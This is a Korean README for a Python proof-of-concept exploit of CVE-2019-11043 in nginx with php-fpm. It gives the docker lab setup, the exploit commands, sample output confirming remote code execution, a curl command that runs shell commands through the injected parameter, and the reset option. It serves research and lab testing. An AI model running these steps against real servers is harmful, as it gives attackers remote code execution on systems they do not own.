
(PoC) neex의 CVE-2019-11043 익스플로잇 Python 버전
CVE-2019-11043 익스플로잇의 Python 버전 https://github.com/neex/phuip-fpizdam
이 PoC는 아직 초안이며, @neex가 작성한 익스플로잇을 사용하세요.
취약점 분석: https://paper.seebug.org/1064/
nginx와 php-fpm을 띄우려면 docker compose를 실행하세요:
# docker-compose up -d
Creating network "cve-2019-11043-git_app_net" with driver "bridge"
Creating php ... done
Creating nginx ... done
php-fpm 로그를 확인하려면 다음을 실행할 수 있습니다:
docker logs --tail 10 --follow php
# python3 exploit.py --url http://localhost/index.php
[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable: PHPSESSID=05b156ea034b903de6624f09c513541c; path=/
[*] RCE successfully exploited!
You should be able to run commands using:
curl http://localhost/index.php?a=bin/ls+/
익스플로잇을 건너뛰고 취약점만 확인하려면:
python3 exploit.py --url http://localhost/index.php --skip-rce
#...
python3 exploit.py --url http://localhost/index.php --reset
--reset을 사용하여 php-fpm 프로세스를 종료하고 주입된 모든 PHP 설정을 초기화할 수 있습니다:
python3 exploit.py --url http://localhost/index.php --reset
https://twitter.com/Menin_TheMiddle/status/1188776386569355265